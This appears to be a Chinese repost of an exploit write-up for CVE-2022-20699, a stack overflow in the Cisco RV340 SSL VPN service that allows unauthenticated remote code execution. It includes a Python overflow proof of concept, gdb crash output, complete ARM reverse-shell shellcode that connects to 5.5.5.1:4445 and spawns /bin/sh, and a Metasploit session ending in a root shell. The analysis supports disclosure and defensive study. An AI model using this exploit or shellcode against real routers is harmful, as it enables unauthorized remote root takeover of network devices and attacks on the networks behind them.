![Cisco RV340 SSL VPN 远程代码执行漏洞分析 Cisco RV340 SSL VPN 远程代码执行漏洞分析]()
0x01 背景描述
本文描述的漏洞存在于Cisco RV340中,固件版本最高(包括 v1.0.03.24), Flashback 团队于 2021 年 11 月在ZDI的Pwn2Own Austin 2021比赛中首次披露。
https://www.cisco.com/c/en/us/products/routers/rv340-dual-gigabit-wan-vpn-router/index.html
思科已于2022年 2 月发布了更新的固件版本(v1.0.03.26),修复了此公告中描述的漏洞。思科添加了stack cookies、non executable stack、缓冲区大小检测并使用了内存安全函数。
未经身份验证的攻击者可通过广域网 WAN接口利用默认的 AnyConnect VPN 配置,利用SSL VPN 模块 sslvpnd 中存在的漏洞在 RV340 上实现远程代码执行。。
该漏洞利用链由两个漏洞来实现代码执行:
∎栈溢出漏洞 ( CVE-2022-20699 )
∎内存配置不正确(读-写-执行栈)
本文中的所有代码均来自固件版本 v1.0.03.22 。
此漏洞首次在OffensiveCon 2022上公开展示,该公告还发布了一个配套的Metasploit 模块,该模块实现了完整的远程漏洞利用。
https://www.offensivecon.org/speakers/2022/radek-domanski-and-pedro-ribeiro.htmlhttps://github.com/rapid7/metasploit-framework/pull/16169
![Cisco RV340 SSL VPN 远程代码执行漏洞分析 Cisco RV340 SSL VPN 远程代码执行漏洞分析]()
0x02 漏洞详情
1.SSL VPN 介绍
Cisco RV340 是一个 VPN 网关,它实现了几种不同的 VPN 协议。
其中之一的 Cisco AnyConnect 称为“SSL VPN”,默认情况下监听 WAN 接口上的 TCP 端口 8443。用户可以连接 Cisco VPN 客户端 (AnyConnect) 并与路由器建立 VPN 隧道。
https://www.cisco.com/c/en/us/support/docs/smb/routers/cisco-rv-series-small-business-routers/smb5535-anyconnect-licensing-for-the-rv340-series-routers.html
图 1:Cisco AnyConnect VPN 会话建立
二进制文件sslvpnd由/usr/bin/sslvpnd_monitor控制,它会不断检查sslvpnd是否正在正常运行,如果二进制文件没有运行,它将自动重新启动。
当客户端连接到sslvpnd服务时,它会产生处理请求的新线程。作为该操作的一部分,将调用FUN_00053fe8函数(connection_loop)。此函数创建两个大缓冲区,每个0x4000。
char PACKET_IN [16384];
char body_buf [16388];
它们用于保存 HTTP 请求头和 HTTP 正文。首先,PACKET_IN缓冲区被初始化,HTTP 头被读入缓冲区,最多可以保存 0x4000 字节:
memset(PACKET_IN,0,0x4000);
/* This first reads only a HTTP header, without body */
num_bytes_read = nonblocking_ssl_read(param_1,PACKET_IN,0x4000);
接下来,下面的函数会检查HTTP头部分有多大,它将结果存储在num_bytes_read局部变量中,并返回指向Header结尾的指针:
iVar3 = find_end_of_hdrs(PACKET_IN,num_bytes_read);
如果请求有正文,则将其作为下一步读取内容。它最多可读取 0x4000 字节,因此非常适合分配的空间。
if (( int )num_bytes_read < HTTP_hdr_size + Content_len_val) {
memset (body_buf, 0 , 0x4000 );
(...)
num_bytes_read = nonblocking_ssl_read (param_1,body_buf, 0x4000 );
此时,HTTP 头和正文被读入相应的缓冲区。
图 2:PACKET_IN和BODY_BUF
接下来,strncat调用一个函数,它将缓冲区一起移动到 1 个连续空间中。size 参数不会超过 0x4000,因为它受nonblocking_ssl_read读取限制。
strncat (PACKET_IN,body_buf,num_bytes_read);
因此,如果已发送整个 0x4000 字节,情况就会变得有趣。由于我们已经在PACKET_IN缓冲区中有数据,它与主体数据包连接,有效地溢出缓冲区边界。
图 3:正文溢出
一个明显的问题出现了,我们可以这样继续溢出BODY_BUF吗?
不幸的是,这似乎是不可能的。如果我们发送更多数据,BODY_BUF将首先用空字节清除,然后再读取新数据。这意味着每次调用strncpy()函数时,我们都会将最大0x4000字节连接到缓冲区的末尾。但是BODY_BUF足够大,可以保存这些数据,所以不会发生溢出。
当所有数据都被读取后,缓冲区被插入到一个特殊的队列中以进行进一步的处理。负责它的函数之一是FUN_0004abbc( sslserver_recv_data_notify_msg_insert)。这就是漏洞所在!
2.缓冲区溢出漏洞
从connection_loop函数调用sslserver_recv_data_notify_msg_insert,这里有 2 个参数很重要:
∎PACKET_IN:攻击者控制内容的缓冲区
∎num_bytes_read: 读取的总字节数,攻击者也可以控制这个参数。
sslserver_recv_data_notify_msg_insert (param_1,PACKET_IN,num_bytes_read & 0xffff ,uVar6);
sslserver_recv_data_notify_msg_insert函数栈布局如下:
pthread_t pVar1;
int iVar2;
undefined4 uVar3;
undefined4 uStack16432;
undefined4 local_402c;
undefined auStack16424 [16384]; // <- vulnerable buffer
undefined2 uStack40;
undefined4 uStack36;
栈上有一个大缓冲区,设计为最多可容纳 0x4000 字节。在函数执行的后面,memcpy()函数将数据复制到这个缓冲区中。
memcpy (auStack16424,PACKET_IN,num_bytes_read);
由于前面提到的连接这两个0x4000缓冲区的strncat()函数,此实现没有考虑缓冲区中PACKET_IN的数据长度可能高达0x8000字节。因此,当发送大数据包时,我们可以使栈缓冲区溢出并覆盖返回地址。
图 4:栈溢出
FILLER = b'x04' * (16400)PC = b"xccxccxccxccx00"url = "https://%s:8443/" % TARGETpayload = FILLER + PCr = requests.post(url, data=payload, verify=False)
FILLER = b'x04' * (16400)
PC = b"xccxccxccxccx00"
url = "https://%s:8443/" % TARGET
payload = FILLER + PC
r = requests.post(url, data=payload, verify=False)
[New Thread 30958.313]
Thread 10 "sslvpnd" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 30958.313]
0xcccccccc in ?? ()
(gdb) info registers
r0 0x0 0
r1 0x81 129
r2 0x1 1
r3 0x1 1
r4 0x4040404 67372036
r5 0x4040404 67372036
r6 0xcccccccc 3435973836
r7 0x4040404 67372036
r8 0x4040404 67372036
r9 0x4040404 67372036
r10 0x4040404 67372036
r11 0x18f89c 1636508
r12 0x0 0
sp 0x704aebe8 0x704aebe8
lr 0x1 1
pc 0xcccccccc 0xcccccccc
cpsr 0x600f0010 1611595792
(gdb)
3.内存配置不当漏洞
虽然存在堆栈溢出漏洞,但我们的受控缓冲区是使用strncat()创建的。有可能注入一个终止NULL空字节,该NULL字节将被$pc获取,从而让攻击者控制程序的执行。但是,使用strncat()意味着缓冲区中不能存在空字节,这会使ROP链的构造复杂化。
sslvpnd二进制文件的数据段和文本段被映射到一个内存段,该内存段要求地址中包含空字节。
00010000-00172000 r-xp 00000000 00:0d 2279 /usr/bin/sslvpnd
00181000-00195000 rw-p 00161000 00:0d 2279 /usr/bin/sslvpnd
所有共享库都是随机的,这意味着我们需要一个信息泄漏漏洞才能可靠地知道库函数地址。也没有找到任何有用的代码可以立即实现远程执行代码,比如使用单个 ROP 指令。但是,文件映射栈地址具有读写执行RWX权限!
00010000-00172000 r-xp 00000000 00:0d 2279 /usr/bin/sslvpnd
00181000-00195000 rw-p 00161000 00:0d 2279 /usr/bin/sslvpnd
这意味着获得任意代码执行所需的只是将 shellcode 放在栈上并跳转过去。
图 5:Shellcode
当我们控制 的内容时,这似乎是放置 shellcode 的完美候选者。从我们的观察来看,由于使用了正在使用的线程,栈地址似乎非常轻微地随机化。奇怪的是,我们的缓冲区地址似乎保持不变,因为栈的一部分并不总是随机化的,而其他一些部分则是随机化的。虽然这对于利用来说非常棒,但我们对此感到困惑并且不知道为什么会发生这种情况。欢迎对此提出任何意见!
当我们控制PACKET_IN的内容时,这似乎是放置shellcode的完美位置。根据我们的观察,由于使用了线程,堆栈地址似乎很容易随机化。奇怪的是,我们的缓冲区地址是保持不变的,因为堆栈的一部分并不总是随机的,而其他部分则是随机的。虽然这对于漏洞利用来说是非常棒的,但我们对此感到困惑,不知道为什么会发生这种情况。
![Cisco RV340 SSL VPN 远程代码执行漏洞分析 Cisco RV340 SSL VPN 远程代码执行漏洞分析]()
0x03 利用开发
1.Shellcode
我们的 shellcode 是一个到 5.5.5.1:4445 的 TCP 反向 shell,使用execve()没有空字节的系统调用。shellcode 以dsb和isb指令开始,这些指令会处理 ARMv7 上的 D-cache 和 I-cache 刷新,这会确保在控制执行后 CPU 可以在栈上看到我们的 shellcode。之后,shellcode 会切换到 thumb 模式,这使我们能够编写更紧凑的 shellcode。
在构建 shellcode 时,我们必须记住它是由strncat()处理的。因此,它不能包含任何空字节,这就是为什么命令字符串以“X”字符结尾,然后在指令strb r2[r0,#7]中用空字节替换。
// Taken from Azeria's website and slightly modified
.global _start
_start:
.ARM
// Clear cache
dsb
isb
add r3, pc, #1 // switch to thumb mode
bx r3
.THUMB
// socket(2, 1, 0)
mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81 // r7 = 281 (socket)
svc #1 // r0 = resultant sockfd
mov r4, r0 // save sockfd in r4
// connect(r0, &sockaddr, 16)
adr r1, struct // pointer to address, port
strb r2, [r1, #1] // write 0 for AF_INET
mov r2, #16
add r7, #2 // r7 = 283 (connect)
svc #1
// dup2(sockfd, 0)
mov r7, #63 // r7 = 63 (dup2)
mov r0, r4 // r4 is the saved sockfd
sub r1, r1 // r1 = 0 (stdin)
svc #1
// dup2(sockfd, 1)
mov r0, r4 // r4 is the saved sockfd
mov r1, #1 // r1 = 1 (stdout)
svc #1
// dup2(sockfd, 2)
mov r0, r4 // r4 is the saved sockfd
mov r1, #2 // r1 = 2 (stderr)
svc #1
// execve("/bin/sh", 0, 0)
adr r0, binsh
sub r2, r2
sub r1, r1
strb r2, [r0, #7]
push {r0, r2}
mov r1, sp
cpy r2, r1
mov r7, #11 // r7 = 11 (execve)
svc #1
eor r7, r7, r7
struct:
.ascii "x02xff" // AF_INET 0xff will be NULLed
.ascii "x11x5d" // port number 4445
.byte 5,5,5,1 // IP Address
binsh:
.ascii "/bin/shX"
当 shellcode 执行时,它将创建一个在5.5.5.1:4445监听的TCP套接字,并将stdin、stout、stderr复制到该套接字文件描述符。接收到连接后,调用execve()系统调用,生成一个/bin/sh(busybox sh),这样就可以获得root shell!
2.利用验证
msf6 exploit(linux/misc/cisco_rv340_sslvpn) > check
[*] 5.55.55.62:8443 - The service is running, but could not be validated.
msf6 exploit(linux/misc/cisco_rv340_sslvpn) > exploit
[*] Started reverse TCP handler on 5.55.55.1:4445
[*] 5.55.55.62:8443 - 5.55.55.62:8443 - Pwning Cisco RV340 Firmware Version 5.55.55.62:41976 ) at 2022-02-10 20:12:18 +0000
id
uid=0(root) gid=0(root)
uname -a
Linux router138486 4.1.8 #2 SMP Fri Oct 22 09:50:26 IST 2021 armv7l GNU/Linux
参考及来源:https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md
原文始发于微信公众号(嘶吼专业版):Cisco RV340 SSL VPN 远程代码执行漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论